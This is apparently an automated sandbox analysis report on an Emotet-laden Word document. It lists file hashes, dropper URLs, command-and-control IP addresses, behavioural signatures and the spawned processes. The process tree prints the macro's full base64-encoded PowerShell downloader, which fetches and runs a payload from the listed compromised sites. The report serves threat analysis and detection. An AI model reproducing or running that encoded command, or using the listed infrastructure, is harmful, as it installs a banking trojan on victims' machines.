Overview

overview

10

Static

static

8

PO_07272020EX.doc

windows7_x64

10

PO_07272020EX.doc

windows10_x64

10

Analysis

  • max time kernel
    62s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    27/07/2020, 11:49

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Report Analysis Logs

General

  • Target
    PO_07272020EX.doc
  • Size 170KB
  • Sample200727-1aerke1s8x
  • SHA256 3150dba7885b3ffb68c46ff0998b7bbdf3fd3a08a2b1d1e3e8a9247f68f3073d
  • MD5 SHA1 SHA512
Score
10/10
discoverytrojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://ballooneo.com/wp-admin/qm_rmxcz_ts/
  • exe.dropper

    https://www.bendys.com.au/cgi-bin/5_i_7qoao/
  • exe.dropper

    http://biomayest.com/xhtmlcss/2ano_2h_7szpl0id5j/
  • exe.dropper

    https://www.shablingo.com/cspr/lx_48pa6_cwi/
  • exe.dropper

    http://ximboo.com/test/oi_lv_48/

Extracted

Family

  • emotet

C2

  • 71.208.216.10:80

  • 212.51.142.238:8080

  • 5.39.91.110:7080

  • 109.74.5.95:8080

  • 121.124.124.40:7080

  • 139.130.242.43:80

  • 162.241.92.219:8080

  • 93.156.165.186:80

  • 203.153.216.189:7080

  • 169.239.182.217:8080

  • 78.189.165.52:8080

  • 37.187.72.193:8080

  • 110.145.77.103:80

  • 190.144.18.198:80

  • 209.182.216.177:443

  • 74.208.45.104:8080

  • 209.141.54.221:8080

  • 190.160.53.126:80

  • 87.106.139.101:8080

  • 176.111.60.55:8080

rsa_pubkey.plain

Signatures

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Office loads VBA resources, possible macro or embedded object present

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO_07272020EX.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1104
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABzAHUAYQBzAGQAbwB1AGMAPQAnAHAAYQBvAHIAcAB1AHUAYgB4AGkAZQBxAHUAagBvAG8AZgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAFUAUgBJAFQAWQBgAHAAcgBPAGAAVABPAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAeQBhAGkAZgBkAHUAdQBkACAAPQAgACcAMgA2ADgAJwA7ACQAZwBhAGUAdABoAG4AZQBpAHMAbABpAG0AdgBhAGUAcAA9ACcAdAB1AHEAdQBmAGEAdQB0AGgAZQBvAGgAagB1AHoAJwA7ACQAdABoAHUAdgB2AGEAaQBzAGMAaABlAHQAaAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAeQBhAGkAZgBkAHUAdQBkACsAJwAuAGUAeABlACcAOwAkAHYAbwB1AGMAaABzAG8AbwBmAG4AZQBhAHIAPQAnAHgAdQB1AHkAeABvAGkAdgB5AGkAYQB5AGMAaQB0AGgAJwA7ACQAeABvAG0AZwBvAGUAZABwAGkAZQByAD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAVAAuAHcARQBiAGMAbABJAGUATgBUADsAJAB5AGEAZQBnAGMAZQBvAHMAYwBoAG8AdQBjAGgAZgBpAGUAawA9ACcAaAB0AHQAcAA6AC8ALwBiAGEAbABsAG8AbwBuAGUAbwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcQBtAF8AcgBtAHgAYwB6AF8AdABzAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBiAGUAbgBkAHkAcwAuAGMAbwBtAC4AYQB1AC8AYwBnAGkALQBiAGkAbgAvADUAXwBpAF8ANwBxAG8AYQBvAC8AKgBoAHQAdABwADoALwAvAGIAaQBvAG0AYQB5AGUAcwB0AC4AYwBvAG0ALwB4AGgAdABtAGwAYwBzAHMALwAyAGEAbgBvAF8AMgBoAF8ANwBzAHoAcABsADAAaQBkADUAagAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBoAGEAYgBsAGkAbgBnAG8ALgBjAG8AbQAvAGMAcwBwAHIALwBsAHgAXwA0ADgAcABhADYAXwBjAHcAaQAvACoAaAB0AHQAcAA6AC8ALwB4AGkAbQBiAG8AbwAuAGMAbwBtAC8AdABlAHMAdAAvAG8AaQBfAGwAdgBfADQAOAAvACcALgAiAFMAYABwAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAbgBvAG8AZABtAGEAZQBiAHIAZQBvAGYAPQAnAHYAZQB1AGcAbgBlAG8AbQB2AGkAZQBnACcAOwBmAG8AcgBlAGEAYwBoACgAJABoAGUAZwBtAG8AdQBrAGcAYQBpAG0AIABpAG4AIAAkAHkAYQBlAGcAYwBlAG8AcwBjAGgAbwB1AGMAaABmAGkAZQBrACkAewB0AHIAeQB7ACQAeABvAG0AZwBvAGUAZABwAGkAZQByAC4AIgBkAE8AdwBOAEwAYABvAEEAYABEAGYAYABJAGwAZQAiACgAJABoAGUAZwBtAG8AdQBrAGcAYQBpAG0ALAAgACQAdABoAHUAdgB2AGEAaQBzAGMAaABlAHQAaAApADsAJABtAGkAegBzAGUAegB3AHUAegA9ACcAdwB1AHkAeABvAGkAegAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAHQAaAB1AHYAdgBhAGkAcwBjAGgAZQB0AGgAKQAuACIAbABgAEUATgBgAGcAVABoACIAIAAtAGcAZQAgADIAMQA1ADEAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwBSAGAAZQBgAEEAVABFACIAKAAkAHQAaAB1AHYAdgBhAGkAcwBjAGgAZQB0AGgAKQA7ACQAdAB1AHUAYwB0AGEAcwA9ACcAcwB1AHUAcABzAGkAYQBkACcAOwBiAHIAZQBhAGsAOwAkAG0AaQBhAHgAZwBlAHYAbQBvAGkAagBoAG8AYQB2AD0AJwBuAGEAZQBnAGIAaQBsAHgAbwBlAHgAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAdwBpAGEAawB4AGEAZQBzAD0AJwBtAHUAYQBxAHUAaABlAHkAawB1AGEAYwBsAGkAZQBtACcA
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    PID:640
  • C:\Users\Admin\268.exe
    C:\Users\Admin\268.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    PID:1852
    • C:\Windows\SysWOW64\DDOIProxy\msiexec.exe
      "C:\Windows\SysWOW64\DDOIProxy\msiexec.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1868

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1104-2-0x00000000089A0000-0x00000000089A4000-memory.dmp
        Download

        memory/1104-4-0x000000000AB50000-0x000000000AB54000-memory.dmp
        Download

        memory/1104-5-0x000000000BBD0000-0x000000000BBD4000-memory.dmp
        Download

        memory/1852-7-0x0000000000320000-0x000000000032C000-memory.dmp
        Download

        memory/1868-11-0x0000000000840000-0x000000000084C000-memory.dmp
        Download